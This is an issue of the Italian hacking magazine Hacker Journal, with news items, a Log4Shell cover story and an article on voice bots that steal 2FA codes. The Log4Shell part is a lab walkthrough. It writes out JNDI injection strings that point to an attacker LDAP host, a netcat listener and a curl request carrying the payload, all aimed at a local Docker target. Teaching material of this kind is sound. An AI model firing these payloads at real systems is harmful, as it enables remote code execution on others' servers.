You are on page 1of 64

CREARE

febbraio

UN’IDENTITÀ FAKE
N.259

Ecco come fanno i pirati a sembrare


qualcun altro mentre circolano in Rete
w w w. h a c ke r j o u r n a l . i t

Dal 2002 tutto quello che gli altri non osano dirti

Il segugio
del filesystem
Ricostruiamo tutte le azioni
svolte sui file dagli utenti
del computer

La scheda che
TARIFFA R.O.C. Poste Italiane S.p.A. – spedizione in abbonamento postale – MBPA/LO-NO/125/A.P./2017- ART.1 COMMA1- S /NA

cattura il Wi-Fi
Il trucco per trasformarla
in un router wireless
e ficcanasare nell’etere

Internet... è arrivata
l’apocalisse!Una libreria usata da migliaia di aziende e sviluppata
Il bot che da pochi volontari... cosa mai potrà andare storto? Tutto!
ti ruba il 2fa
Negli USA spopolano
i sistemi vocali
automatici che fregano
gli account agli utenti.
pentesting messaggi nascosti
Se riesci a scrivere la cosa giusta Impara l’arte della steganografia
E si comprano al nei log di un sistema, gli fai fare e neanche l’NSA riuscirà a spiare
mercato del Dark Web ciò che vuoi con un attacco RCE le tue comunicazioni riservate
MA THE

GEEK
Dall’Autore di Bestseller Philip Osbourne

MAI PIÙ BUGIE.


DA NESSUNO!
Dall’autore del bestseller
“DIARIO DI UN NERD”,
un romanzo per giovani
adulti, ma anche per
lettori più attempati,
divertente, accattivante,
che sorprende e fa
riflettere.
DA MARZO IN
LIBRERIA.

Mac è un nerd di 16
anni che scopre che
la sua ragazza lo ha
ingannato e tradito.
E lo ha fatto proprio
con il migliore amico
del giovane.
Il nostro protagonista
non si fa sopraf-
fare dalla delusione
e decide di creare
un’App che può
rilevare le bugie in
tempo reale.

HA INVENTATO UN’APP E ORA NESSUNO PUò MENTIRE!


PRENOTALO SU: www.csaeditrice.it
EDITORIALE
www.hackerjournal.it
In questo numero parliamo di:
Log4jShell, 2FA, Rocket.Chat, identità
fake, Mutillidae, buffer overflow,
sniffing del Wi-Fi, steganografia,
mercato di bot illegali e molto altro.

M
atrix è sempre più vicina. Di cosa
parliamo? Del tanto decantato
metaverso, la tecnologia che ci farà
immergere in una realtà a cavallo tra
quella “reale” e quella virtuale. Chi ha letto il romanzo di
fantascienza Snow Crash di Neal Stephenson sa bene di
cosa si tratta: il metaverso è una simulazione iper realistica
del mondo reale, in cui ci muoveremo usando un avatar,
un “personaggio” che ci rappresenterà. Per entrare
in questa realtà digitale useremo (o dobbiamo già dire
“usiamo”?) strumenti come l’Oculus Quest 2 di Facebook...
no, scusate, Meta. Ma gli attori scesi in campo sono tanti
(Microsoft, NVIDIA, Roblox, Epic Games...) e il volume
d’affari è già notevole. Tutto molto bello, ma se già ora
i nostri dati personali girano con pochi controlli in Rete, CONTATTI
cosa succederà della nostra “identità digitale” in un mondo
REDAZIONE
totalmente inesplorato e in mano alle solite big del tech o a
redazione@hackerjournal.it
quelle nuove che entreranno nel mercato? Per non parlare
ABBONAMENTI
del cybercrimine, che di sicuro non si lascerà sfuggire E ARRETRATI
abbonamenti@sprea.it
questa nuova frontiera. Tanto per citare i possibili pericoli: www.sprea.it/digital
sorveglianza ancora più a 360°; maggiori possibilità
FACEBOOK
di falsificare le identità o di “orientare” le nostre decisioni; www.facebook.com/
hackerjournal/
furto di dati biometrici o di altro tipo; distacco dalla realtà...
E non sappiamo se ci sarà la pillola blu per risvegliarci. SITO WEB
www.hackerjournal.it
ro sara
Il prossimo num5efe
in edicola dal 2 bbraio

SOMMARIO ABBONATI ALLA


VERSIONE DIGITALE
SOLO PER PC E MAC
A SOLI 19,90 €
DURATA ABBONAMENTO: 1 ANNO
www.hackerjournal.it/abbonamenti

HACKTUALITÀ
News
Notizie e anticipazioni dell’universo hacker................................................................ 06

COVER STORY
Internet... è arrivata l’apocalisse
La vulnerabilità Log4Shell sta preoccupando l’intera Rete.................................... 10

Furto 2FA | Il mercato dei bot illegali


Ecco come funziona l’attacco che negli Stati Uniti sta truffando
gli utenti usando bot che rubano le credenziali.......................................................... 16

Vulnerabilità | Bucare la chat senza SQL


Rocket.Chat ha alcune noSQL injection che permettono di bypassare
il login diventando amministratore di sistema........................................................... 20

M IGL IORARE
A I
P
U
R
T
E
A
F
C
EI
RA
I TA!
A T UA R I V ISTA
L .ly/hackerjo
://bit
urnal
Vai su https questionario anonimo
e compila il
 4
Il primo manifesto hacker
“... avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze
lo hanno formato, cosa può averlo forgiato?
Io sono un hacker, entra nel mio mondo...”

ke
Profili fa
SICUREZZA
Profili fake | Pirati e false identità
Alcune risorse per creare identità fittizie da usare in Rete................................... 24
Pentesting | Attacco ai log! Terza parte
Dopo XSS e DoS, ecco a voi un attacco RCE in salsa log!....................................28

> 24

HOW TO 36
Sniffing | Sniffare il traffico su rete Wi-Fi
Basta un SoC da pochi euro per catturare i pacchetti scambiati dai device vicini... 36

Buffer overflow | Attacco tramite shellcode!


Diventare root sfruttando una vulnerabilità del codice...........................................................42

Steganografia | L’arte di nascondere i file dentro ai file


La tecnica per comunicare con altri hacker senza farci spiare dalla NSA................. 48

odeMCU ESP8266
Log di Windows | Accessi al filesystem! N
Grazie all’audit di Windows, ricostruiamo le attività di ogni utente sul PC................50

> 56
HACKULTURE
Dati personali | Facebook è il male, ma Google è il suo maestro
Zuckerberg ha imparato come estrarre e monetizzare i dati dalle persone
grazie al lavoro fatto venti anni fa da Larry Page e Sergei Brin...................................... 56

tt o ri , le risposte de lla redazione > 60


Le do m a n d e d e i le
POSTA
HACKTUALITÀ

NLETETURW
E
S Hanno sfondat
o
are
anche il nucle
#LEAK 800 GB di dati sensibili sugli impianti nucleari
italiani sono finiti su un forum russo di pirati informatici

S u RaidForums (https://raidforums.com), una piattaforma russa


utilizzata da molti hacker e cracker per condividere i propri attacchi,
è stato pubblicato un thread riguardante l’azienda Sogin S.p.A. che si
occupa del recupero e smaltimento del materiale radioattivo delle ex
centrali nucleari italiane. In un comunicato stampa, Sogin dichiara di aver
riscontrato un attacco hacker al suo sistema informatico. La società ha
immediatamente informato le autorità competenti con le quali sono state
messe in atto le procedure per porre rimedio all’accaduto e verificare
l’eventuale violazione di profili collegati alla privacy e alla sicurezza
dei dati. Sogin garantisce che la sicurezza sia nucleare che convenzionale
QUANTUM COMPUTING
degli impianti e la loro operatività è sempre stata garantita. Il file
interessato ha le dimensioni di 800 GB e contiene dati che vanno dal
I computer quantistici
promettono di rivoluzionare 2004 al 2020, il data leak più grave nelle case history dell’hacking in Italia.
molti ambiti, compreso quello Una traccia di come questo sia potuto accadere è fornita in un file che
della sicurezza informatica. contiene la lista di tutti i file sottratti durante il furto: tra i nomi dei file
Questo manuale, partendo anche foto di WhatsApp, documenti chiamati chiavi accesso.docx e altri
dalla definizione di qubit, elementi che lasciano pensare a un computer di un dipendente,
ci spiega cosa possono fare un PC aziendale usato però anche come PC personale senza tutti
e cosa no guidandoci nella gli accorgimenti necessari in questo caso.
programmazione di un
simulatore quantistico
in Python e nella scrittura
di un sacco di codice
in linguaggio Q# con il
Quantum Development Kit
di Microsoft. Le righe di
codice illustrate sono ben
commentate e spiegate dagli
autori, anche se il tema
è abbastanza ostico e
servono delle buone basi di
programmazione per capirlo.
https://bit.ly/hj259_quantum

 6
NEWS
Albione svela le Pronti a far fuori
ASSANGE
parole chiave violate
#INGIUSTIZIA L’Alta Corte
#PASSWORD L’Inghilterra condivide 585 milioni londinese ribalta il verdetto
di password con Have I Been Pwned del giudice e apre all’estradizione
del padre di WikiLeaks

L a National Crime Agency del Regno


Unito ha contribuito con oltre 585
milioni di password al servizio Have
I Been Pwned (https://haveibeenpwned.
L’ Alta Corte di Londra ha ribaltato
la sentenza di primo grado
che negava l’estradizione di Julian
com) che consente agli utenti di Assange dalla Gran Bretagna agli
verificare se eventuali informazioni USA. Il caso verrà quindi rinviato al
sensibili di un account siano state
tribunale di grado inferiore per essere
violate. Proprio come con le password
nuovamente dibattuto. A ricorrere
provenienti dall’FBI, questa enorme
all’Alta Corte era stato il team legale
raccolta è stata aggiunta ai dati di Pwned
Passwords che consente di cercare se la americano che si opponeva al divieto
chiave d’accesso di un account è stata compromessa. di estradizione sulla base di un
Il progetto Pwned Passwords di HIBP consente alle forze dell’ordine di possibile pericolo di suicidio legato
più Paesi di aggiungere le password trovate durante le indagini. Pertanto, al trattamento giudiziario e carcerario
altri servizi che utilizzano le sue API possono proteggere i propri utenti negli USA. “Un grave errore
dagli attacchi derivati dall’appropriazione indebita di password. giudiziario”, così Stella Moris,
compagna di Julian Assange
e membro del suo team legale,
ha definito la sentenza in un post

L’oligarchia
pubblicato su Twitter da WikiLeaks.

russa
combatte
TOR

#BOICOTAGGIO La Russia ha deciso


di bloccare e censurare la rete a cipolla
gli utenti della rete. Poiché sembra che questa

D al primo dicembre scorso, l’autorità preposta al


controllo della rete Internet RUNET ha imposto
ai provider russi di bloccare e censurare la rete TOR.
situazione possa degenerare rapidamente in un blocco
TOR a livello nazionale, è urgente che rispondiamo
a questa censura! Abbiamo bisogno del tuo aiuto
Il blocco è stato avviato dal vettore di telecomunicazioni ORA per mantenere i russi connessi a TOR!”. Il servizio
Rostelecom il primo giorno di dicembre 2021, seguito chiede a chi può aiutare la causa e gli utenti russi
da MTS e Tele 2 il 3 dicembre. Dal sito ufficiale TOR ad attivare un Bridge TOR. I requisiti e le istruzioni
è stato rilasciato un comunicato dal blog: “La Russia per avviare questo bridge sono nel post Help
è il Paese con il secondo maggior numero di utenti Censored Users, Run a Tor Bridge (https://blog.
TOR, oltre 300.000 utenti giornalieri o il 15% di tutti torproject.org/run-a-bridge-campaign/).

7 
HACKTUALITÀ

KALI
LINUX
2021.4
SPACCA!
#DISTRO Il rilascio della
nuova versione porta tanti
miglioramenti e nuove
funzionalità

I n questa nuova versione della nota distribuzione per pentester ed esperti di security, il client Samba è stato
riconfigurato per essere compatibile con qualsiasi server Samba, indipendentemente dall’opzione
di protocollo selezionata sul server. Ciò facilita la ricerca di server Samba vulnerabili sulla rete e anche
la modalità Compatibilità può essere modificata utilizzando l’utility kali-tweaks. Un altro cambiamento
che si distingue, sempre in kali-tweaks, risiede nella configurazione mirror: viene ora fornita la capacità
di accelerare la consegna degli aggiornamenti utilizzando la rete di distribuzione dei contenuti CloudFlare.
Gli sviluppatori della distro hanno poi migliorato il supporto per i sistemi Apple basati sul chip ARM M1
e hanno introdotto la possibilità di cambiare skin e set di icone per le utility Kaboxer, inclusa l’opzione
di utilizzare un tema scuro.

E P R E N D E D I M IRA L’ITALIA
IL RANSOMWAR
#CLASSIFICHE Il nostro Paese è terzo al mondo per attacchi
ransomware subiti, siamo messi bene...

Il dato emerge dall’ultimo report di Trend Micro Research, la


divisione specializzata in ricerca&sviluppo e lotta al cybercrime
di Trend Micro. Nel 2021 l’Italia è stata, come anche in passato,
tra le nazioni più colpite dai cybercriminali. Negli ultimi mesi dello
scorso anno si è confermata tra le prime cinque nazioni al mondo più
colpite dai malware e l’ottobre scorso ha aggiunto un altro primato,
classificandosi terza come Paese maggiormente colpito dai
ransomware. Nel dettaglio, a ottobre 2021 il numero totale di
ransomware intercettati in tutto il mondo è stato di 1.297.400. Gli Stati
Uniti sono stati il Paese più colpito, con il 23,4% di attacchi, a seguire
Francia (7,5%), Italia (5%), Belgio (4,5%) e Brasile (3,8%).
Per quanto riguarda i malware, gli Stati Uniti rimangono i più attaccati,
con 34.816.097 assalti, seguiti da Giappone (31.711.116), Australia
(6.132.704), Italia (6.097.979) e Regno Unito (5.610.942).

 8
HA C K T U A L I TA À
cover story Internet... e arrivata l ’apocalisse
La vulnerabilità Log4Shell sta preoccupando l’intera Rete............................................................... 10

furto 2fa Il mercato dei bot illegali


Ecco come funziona l’attacco che truffa gli utenti usando bot che rubano le credenziali....... 16

Vulnerabilita Bucare la chat senza SQL


Rocket.Chat ha alcune noSQL injection che permettono di bypassare il login diventando root..... 20
HACKTUALITÀ et... è arrivata l’apocalisse!
COVER STORY: Intern

In t e r n e t .. . è a r r iva t a

Log4jshell
l’apocalisse!
è una gravissima MS
THE FALLEN DREA
vulnerabilità 0-day a volta

P
rendendo ancora un
che ha colpito spunto dal manifes to/
che ha
libro
ci
The Fallen Dreams
migliaia di sistemi accompagnato nei me
andri
articolo
in Rete. Scopri dell’hackin g, il
si presenta come un
se gu en te
o spin-off
come funziona della serie, in cu i ve
gli
sti
av
remo
versari
il ruolo di uno de
del protagonista.
In collaborazione con
thehackingquest.net

 10
E
siste un principio nella fisica quantistica Qualcuno ha
che descrive lo stato di un sistema e la sua definito Log4Shell
variabilità a seconda dell’osservatore:
una vera “pandemia”
ciò che vediamo esiste in vari stati,
ma noi percepiamo solo quello che stiamo che ha colpito metà
osservando. Proprio come il famoso gatto di delle reti aziendali
Schrödinger poteva essere vivo o morto a seconda
che la scatola in cui era contenuto fosse chiusa che qualsiasi applicazione Java che utilizzi Log4j
o aperta, allo stesso modo ciò che definiamo è potenzialmente vulnerabile. Qualcuno
“realtà” varia sempre a seconda di chi la osserva, sicuramente starà dicendo: “non uso Log4j…
di chi la vive. Questo ci fa riflettere su due aspetti non mi riguarda”. Ma il passaggio non è così
(in realtà molti di più): il primo è la necessità immediato. Anche se un’applicazione non utilizza
di una scelta; il secondo è la relatività di cui tutto direttamente Log4j un’altra libreria potrebbe farne
si compone. Se si osserva una banale libreria Open uso per registrare i propri log. Considerando
Source, ci sarà chi la vedrà come un ottimo la popolarità di questa libreria, potremmo
strumento per funzionalità di logging, e chi invece assumere che mediamente qualsiasi applicazione
scorgerà una vulnerabilità con uno score CVSS Java che registra i propri log, ne faccia uso.
10/10, che permette l’esecuzione remota di codice Nei progetti analizzati, è stato stimato che Log4j
arbitrario, chiamata log4shell. Ma procediamo venga utilizzata come mostrato in [figura #1].
come al solito step-by-step.
CHE COS’È LOG4SHELL?
CHE COSA È LOG4J? Con un “Common Vulnerability Scoring System”
Si tratta di una libreria molto popolare, scritta (CVSS) di 10/10, la vulnerabilità permette
da Ceki Gülcü nel 2001, utilizzata per le interazioni l’esecuzione di un codice remoto (RCE)
con i messaggi del codice Java. È difatti possibile sulla macchina vittima: l’attaccante che sfrutta
registrare log, messaggi d’errore e di debug con successo questa vulnerabilità sull’applicazione
del codice, scrivendoli su uno o più file per Java può eseguire codice arbitrario sulla macchina
poi consultarli, gestirli o fare troubleshooting. vittima, sia essa un server, un client o un device
Difatti, una qualunque applicazione scritta in di altra natura. Da qui il nome Log4Shell a.k.a.
linguaggio Java ha necessità di registrare i propri CVE-2021-4428: il successo dello sfruttamento
log. La quantità di questi log è direttamente della vulnerabilità garantisce una “Shell”
proporzionale al crescere della complessità di comandi sulla macchina. Addentriamoci
dell’applicazione. adesso negli aspetti tecnici della vulnerabilità
e accingiamoci a comprenderne il funzionamento.
QUANTO È USATA LOG4J? Le vulnerabilità sfruttabili in questa libreria
Il banner durante l’installazione di Java risiedono nella combinazione di diversi
è emblematico: “#1 Development Platform”. fattori/caratteristiche di Log4j, vediamo la prima.

1
E ancora: “3 Billion Devices Run Java”. Vale a dire
LOG EXPRESSIONS
Log4j ci permette di loggare espressioni.
Analizziamo, per esempio, le seguenti linee
di codice, immagazzinate dal log, scrivendo il log
del dato “Messaggio d’errore”:

final Logger logger = LogManager.


getLogger(…);

figura #1
logger.error(“Messaggio d’errore: {}”,
error.getMessage());

11 
HACKTUALITÀ et... è arrivata l’apocalisse!
COVER STORY: Intern
UNA TECNICA CHE
HA GIÀ COLPITO
IN PASSATO
La tecnica d’attacco definita come LogInjection,
a.k.a. Log Forgery, non è nata di certo con
la vulnerabilità Log4Shell, anzi è alla base di
molteplici attacchi. Si tratta di una vulnerabilità
in cui l’input non attendibile, immesso in una data
applicazione, può compromettere l’integrità
dei file di registro dell’applicazione o del sistema

figura #2
stesso. È stata utilizzata (e in parte viene
usata ancora adesso) per ingannare i sistemi
di monitoraggio e Security Information
and Event Manager (SIEM).
Esaminiamo (“Messaggio d’errore; {}”, error.
getMessage());. Ciò che facciamo con questo
codice è andare a “loggare” l’oggetto error. percorso (una “remote location”) in modo
getMessage fra le parentesi graffe della stringa consecutivo, “serializzandolo”. Un esempio può
“Messaggio d’errore; {}”. In altre parole, ciò essere il seguente Active Directory link (LDAP URL):
che fa Log4j è inviare l’errore che abbiamo ricevuto
fra le parentesi graffe della stringa di testo. ldap://10.10.10.10:5555/O=HackerJournal,
Il nostro output sarà quindi: Messaggio d’errore: C=IT
[l’errore contenuto nell’oggetto error.getMessage].
Un ulteriore esempio può essere il seguente: dove:
la stringa immagazzina nel log il nome dell’utente • ldap:// - invochiamo l’LDAP schema, il nome
get(“Name”) con il relativo id getId() utilizzato del comando;
per effettuare l’accesso. • 10.10.10.10 - l’indirizzo IP del server a cui stiamo
puntando;
logger.info(“L’utente {} ha effettuato • :5555 - la porta del server a cui stiamo puntando;
l’accesso con l’id {}, map.get(“Name”), • /O=HackerJournal, C=IT - profile object a cui
user.getId()); stiamo puntando.

2 3
JAVA NAMING AND DIRECTORY JNDI LOOKUPS MESSAGES
INTERFACE (JNDI) La terza caratteristica che analizzeremo
È un’API Java che permette di scrivere fu introdotta in Log4j nel 2013 e permette
e immagazzinare un dato oggetto Java in un dato di eseguire un JNDI Lookup su una determinata

figura #3

 12
figura #4
tipologia di stringhe (una ricerca di un dato {}”, “${env:ENV_VALUE}”);
carattere) e inserirla nel messaggio d’errore.
Prendiamo, per esempio, il seguente codice: Proprio quest’ultima caratteristica di Log4j
rappresenta la nostra vulnerabilità. Ma facciamo un
logger.error(“Messaggio d’errore: {}”, “Log4j esempio concreto.
HackerJournal”);
LOG INJECTION
Molto intuitivamente, viene scritta all’interno del log Ipotizziamo di poter inserire diversi valori in una
la stringa Log4j HackerJournal. E se invece la stringa pagina (un form) di ricerca. Questi valori verranno
che noi passiamo è un argomento con una sintassi successivamente passati all’applicazione Java in
speciale, per esempio con il carattere “dollaro”? background, che si occuperà di eseguire la ricerca e
di loggare anche i valori ricercati dall’utente [figura
logger.error(“Cerca ed inserisci il valore: #2]. Quindi nella nostra app avremo il seguente
{}”, “${jndi:ldap://…}”); codice, che memorizzerà ciò che l’utente ha inserito
per effettuare la ricerca searchTextInput nei log.
Il carattere $ rappresenta una “sintassi speciale di
Lookup”, che andrà inserito fra le parentesi graffe. final Logger logger = LogManager.
Nel medesimo modo una variabile di sistema potrà getLogger(…);
anch’essa essere inserita fra le parentesi graffe logger.error(“Pagina ricercata: {}”,
e scritta nel nostro flusso di log: searchTextInput());

logger.error(“Cerca ed inserisci il valore: Ora però, ipotizziamo che il nostro utente


sia l’attaccante e che invece di inserire nel form
di ricerca una parola o una frase, immetta

LOG4SHELL il seguente valore (un JNDI URL):

STORYLINE ${jndi:ldap://phishing-ldap/evilobject”}

I primi fix per questa vulnerabilità sono stati


Quando nel nostro sistema di log arriverà in input
rilasciati il 6 dicembre 2021. Log4j, versione
2.15-rc1, restringeva la lista dei server e dei come searchTextInput un JNDI URL, il sistema
protocolli che potevano essere usati per il lookup. tenterà di risolverlo automaticamente eseguendo
Successivamente sono stati scoperti altri bug una JNDI Call e puntando quindi all’indirizzo
CVE-2021-45046, fixati nella versione 2.16.0 di dominio //phishing-ldap/. All’attaccante sarà
disabilitando tutte le feature di JNDI e message sufficiente inserire nel server malevolo il codice
lookup. Tuttavia, altre due vulnerabilità hanno
che desidera eseguire come “object” e l’applicazione
messo in evidenza la possibilità di denial-of-
service CVE-2021-45105 fixata nella versione vittima (sia essa un popolare e-commerce
2.17.0 e un’altra RCE fixata a sua volta nella o un social media) lo eseguirà immediatamente.
versione 2.17.1 CVE-2021-44832. Adesso che abbiamo compreso il funzionamento
di log4Shell, facciamo un po’ di pratica.

13 
HACKTUALITÀ et... è arrivata l’apocalisse!
COVER STORY: Intern
PROOF OF CONCEPT
Per effettuare il nostro test utilizzeremo il seguente
COSA POSSO FARE?
exploit per Log4j, scaricabile al seguente indirizzo:
https://github.com/leonjza/log4jpwn. Come prima Niente, in linea generale. Sono
cosa, avviamo la nostra Kali Linux e apriamo gli amministratori di sistema che
un terminale di comando. Cloniamo il repository hanno dovuto (o devono se non
l’hanno ancora fatto) intervenire,
utilizzando il comando
aggiornando server e applicazioni
a livello di backend. Chissà se
git clone https://github.com/leonjza/ riusciranno a patchare anche le
log4jpwn sonde spaziali che usano Log4j...

Spostiamoci all’interno della cartella log4jpwn


utilizzando il comando cd. Ora effettueremo
il nostro PoC all’interno di un docker container.
Un container docker ci permette di eseguire Eseguiamo il comando
processi e applicazioni in maniera isolata
utilizzando il kernel Linux, senza correre il rischio docker –version
di compromettere il sistema ospitante.
Come prima cosa, abbiamo bisogno di installare per verificare la versione installata. Una volta
Docker su Kali Linux. Dopo aver aggiornato il nostro terminata l’installazione di Docker possiamo
repository con il comando procedere con l’installazione del nostro container,
digitando il comando [figura #3]
sudo apt-update
docker build -t log4jpwn
digitiamo
L’installazione del container potrebbe impiegare
sudo apt install -y docker.io qualche minuto. Avviamo adesso il nostro
sudo systemctl enable docker –now container utilizzando il comando [figura #4]

A questo punto, non rimane che aggiungere docker run --rm -p9999:8080 log4jpwn
il nostro utente al gruppo “docker“:
dove:
sudo usermod -aG docker $USER • docker - invoca docker

figura #5

 14
Facendo delle scansioni del ${jndi:ldap://172.17.0.1:8888/a}’

perimetro esterno e di quello localhost:9999

interno possiamo scoprire Curl è un tool (che utilizza le librerie libcurl) a linea
se le macchine della nostra di comando, per prelevare o inviare dati (inclusi file)
rete sono vulnerabili utilizzando la sintassi Uniform Resource Locator
(URL). Nell’esempio precedente abbiamo usato
• run - avvia il container le opzioni seguenti:
• --rm - rimuove i volumi associati al container • -H - opzione necessaria per specificare l’Header
• -p9999:8080 - specifica la porta ‘User-Agent: ${jndi:ldap://172.17.0.1:8888/a}’
• log4jpwn - il nome del container che desideriamo localhost:9999;
eseguire. • ldap://172.17.0.1:8888 - simula il server malevolo
Prima di eseguire il prossimo comando verifichiamo controllato dall’attaccante. L’indirizzo IP ldap sarà
l’IP del nostro docker. Apriamo un nuovo terminale l’IP del nostro docker container che abbiamo visto
e digitiamo essere 172.17.0.1. Abbiamo così avviato netcat
in ascolto sulla porta 8888;
ip a s docker0 • localhost:9999 - è il nostro servizio vulnerabile
in ascolto sulla porta 9999.
dove: Appena avremo premuto Invio, riceveremo
• ip - questo comando può essere usato la nostra connessione su netcat [figura #5]!
per mostrare o manipolare routing, device

L’USO FURBETTO
o tunnel;

DEL SOFTWARE
• a - mostra tutto (all);
• s - mostra “statistiche”;

OPEN SOURCE
• docker0 - il nome del device, in questo caso
il nostro docker, di cui vogliamo visualizzare
l’indirizzo IP.
Vorremmo ora concludere questo capitolo
Nel nostro caso (e probabilmente anche nel vostro)
con una riflessione di “Koushik Kothagal (Java
sarà: 172.17.0.1. Non chiudiamo il terminale Brains)”: i media in generale stanno parlando
(per comodità) e sempre sullo stesso molto di questa vulnerabilità (come è giusto
in cui abbiamo verificato l’IP, mettiamoci che sia). Tuttavia è necessario riflettere
in ascolto digitando su un particolare. La feature che espone Log4j
all’exploitation fu introdotta nel 2013 ed è venuta
alla luce solamente nel 2021. In generale, questi
nc -lnvp 8888
tipi di vulnerabilità sono già avvenuti in
precedenza (per esempio Heartbleed) e il
con denominatore comune è sempre lo stesso: molte
• nc - invochiamo netcat; aziende utilizzano gratuitamente software Open
Source per fini economici. Molteplici imprese
• -l - mettiamoci in ascolto localmente;
trovano software Open Source già pronti e ci
• n - no DNS o hostname; costruiscono attorno il loro Business Model
• v - in modalità verbose; per fare soldi e questo succede spesso anche
• p - specifichiamo la porta; con aziende di Cyber Security. Forse è giunto
• 8888 - porta su cui ci stiamo mettendo in ascolto. il momento in cui società e aziende che fanno
A questo punto, non ci resta che lanciare soldi e fondano modelli di Business su software
il comando malevolo. Apriamo un nuovo terminale Free (che la comunità mette a disposizione)
si attengano a un modello etico per cui quando
e digitiamo il comando
investono sul software (compresa la Cyber
Security) si impegnino a riconoscere alla
curl -H ‘User-Agent: comunità la sua dovuta importanza.

15 
HACKTUALITÀ

Il m e r c a t o d e i
2FA, SICURA O NO?
b o
Il mantra dietro l’autenticazione
t i l l e g a l i
a due fattori è “Qualcosa che sai,
o co m e fu nz io na no gli attacchi che negli
qualcosa che hai, qualcosa che
E cc
sei”. Ok, sono tre, ma il motivo
et to no di tr uf fa re i consumatori
è che si può scegliere. Quello USA perm
i codici 2FA
usando bot che rubano
che sai è la password, il pin o la
risposta alla domanda segreta.

L’
Quello che hai è qualcosa in tuo
possesso: lo smartphone, la carta attacco non potrebbe I FAKE CALLER ID
di credito, il token con il chip RFID. essere più semplice. La prima parte di questo tipo
Quello che sei è la biometria: dalle Facciamo finta che di truffa si basa sulla capacità
impronte digitali alla scansione siete negli USA e che dei cybercriminali di effettuare
dell’iride o al riconoscimento della
il sistema di prevenzione delle chiamate in automatico
voce. La sicurezza deriva dal fatto
che la compromissione di uno di
frodi di PayPal vi chiami con falsificando il proprio caller ID
questi fattori da solo non sblocca uno dei suoi bot vocali che e trasformandolo in cose come
l’account. Ma solo se la 2FA viene fanno chiamate automatiche PayPal Inc. o Banca XX.
usata in modo corretto. per informare che c’è una spesa Questo è possibile perché
Il problema è che non basta che in corso. Sul vostro telefono chiamano utilizzando sistemi
siate voi utenti a fare tutto giusto,
è appena arrivata la notifica VoIP su linee internazionali con
anche il fornitore del servizio e gli
altri attori coinvolti (per esempio i che avete speso una cifra dichiarazioni del caller ID che
produttori dei telefonini e dei loro piccola (una trentina di dollari). non possono essere verificate.
sistemi operativi) devono fare Il bot vi chiama informandovi La chiamata è fatta da un vero
le cose a regola d’arte per evitare che si tratta di un acquisto bot: la voce è chiaramente falsa.
gli attacchi (scegliere i fattori di fraudolento e che per fare Non c’è nessun trucco in questo,
autenticazione corretti e verificare
la verifica e bloccarlo dovete ci siamo abituati anche in Italia:
in tempo reale che non ci siano
nuovi attacchi capaci di superarli) digitare il codice che PayPal stanno aumentando i servizi
e proteggere i vostri dati. vi ha appena inviato per SMS. commerciali che vendono bot
Lo fate e a questo punto il bot audio per fare telefonate di
vi rassicura che la truffa è stata marketing. Li usano grandi
bloccata, ma ci vorranno dalle aziende come Amazon ma anche
24 alle 48 ore prima che le compagnie telefoniche
la spesa venga scaricata e sempre più spesso anche
dal vostro conto e che l’ID aziende commerciali italiane.
della pratica è xxxx. Ecco, I bot servono perché,
siete appena stati truffati. ovviamente, costano molto

 16
FURTO 2FA
I truffatori impartiscono i comandi La chiamata serve per ottenere
da voi l’ultimo elemento che
ai bot audio usando piattaforme manca al completamento della
come Telegram e Discord transazione: il codice inviato,
nell’esempio da PayPal, che ha
meno di un operatore “vivo” il santo protettore della valore per pochi minuti. L’attacco
e possono essere parallelizzati cybersecurity, Bruce Schneier, “la diventa, nella sua seconda parte,
molto velocemente. Il fatto che sicurezza è un trade-off: più un un “man in the middle”:
i bot dei cyberattaccanti suonino sistema è sicuro meno è usabile l’attaccante è collegato da una
proprio come bot audio è un plus e viceversa”. E sappiamo già che parte al vostro servizio e
dell’attacco, perché come per gli utenti vogliono poter usare dall’altra a voi, e fa finta con
tutte le altre truffe deve sembrare i loro conti correnti, account ciascuno dei due di essere l’altro,
plausibile. Spesso la voce di PayPal, Amazon, eBay e via passando domande e risposte.
sintetica è la stessa o molto simile dicendo senza troppe difficoltà.
a quella usata da altri servizi. La truffa in questo caso è IL DIAVOLO STA NEI DETTAGLI
piuttosto ovvia: il bot vocale Un attacco di questo genere
LA TRUFFA CHE BATTE LA 2FA fa parte della stessa squadra è estremamente semplice
I sistemi di autenticazione a due che vi ha appena addebitato ed efficace, per come è stata
fattori sono sicuri nella misura un pagamento su PayPal (quindi concepita la difesa (codice
in cui lo è il sistema in cui conoscono la vostra mail, via SMS) e per come sono stati
vengono usati e i comportamenti la vostra password e il vostro strutturati i meccanismi
dell’utente che li usa. Come dice numero di telefono cellulare). di verifica (telefonate di bot

L’economia dei cybercriminali


Lo spam con dentro attacchi che infiamma il Paese. Se vi arriva a seconda degli orari di lavoro
di phishing ci insegna una lezione quella mail e rispondete “Voglio delle farm di truffatori (spesso
molto importante sull’economia aiutarti!”, dall’altra parte si siede in Europa dell’Est). È un sistema
e la scala delle operazioni dei un operatore che si prende carico di gestione delle relazioni
cybercriminali che cercano della vostra pratica. Ogni “pesce” con la clientela che ha l’obiettivo
di rubare soldi alle vittime che sta per abboccare diventa di far abboccare sino in fondo
che rispondono e abboccano un ticket con un dossier, che viene il pesce, cioè l’utente credulone.
all’amo digitale. passato da un operatore all’altro E spillargli dei soldi.
Il tempo è denaro ma solo nella
fase della risposta. Alcuni anni fa
l’American Economic Association
con la ricerca The Economics of
Spam (https://bit.ly/hj259_report)
ha spiegato la strategia dei
cyberattaccanti: l’invio di email
di spam, che sono fatte in serie
e automatizzate, ha un costo
bassissimo, praticamente
irrilevante. Invece, il costo per
i cyberattaccanti inizia quando
qualcuno risponde. Prendiamo
il classico Nigerian Scam, quello
in cui un parente di un ricco nobile
africano chiede di spostare dei
soldi dal proprio conto africano sul
vostro per sfuggire alla rivoluzione

17 
HACKTUALITÀ

In qualche modo le app telefoniche


ci avvertono, a volte, dell’arrivo
di telefonate truffaldine…
ma non sempre!

a due fattori) è diventato sempre


più complicato. Anche perché
il costo di uno di questi attacchi
è bassissimo, rispetto a quello
necessario a mettere in piedi
la difesa adatta.
Un costo talmente
sproporzionato che anche
piccole banche locali sono a forte
rischio. Un tempo, infatti, sistemi
legittimi) in un contesto in cui connette con una serie di come gli audio bot richiedevano
queste telefonate possono software di offuscamento a dei molto tempo per essere
essere fatte anche da attaccanti fornitori di servizi come Twilio sviluppati e avevano senso solo
in maniera molto semplice (che però sta bloccando questo se il numero di attacchi era
e a basso costo. Quello che serve tipo di connessioni). E poi da un talmente ampio da ripagare
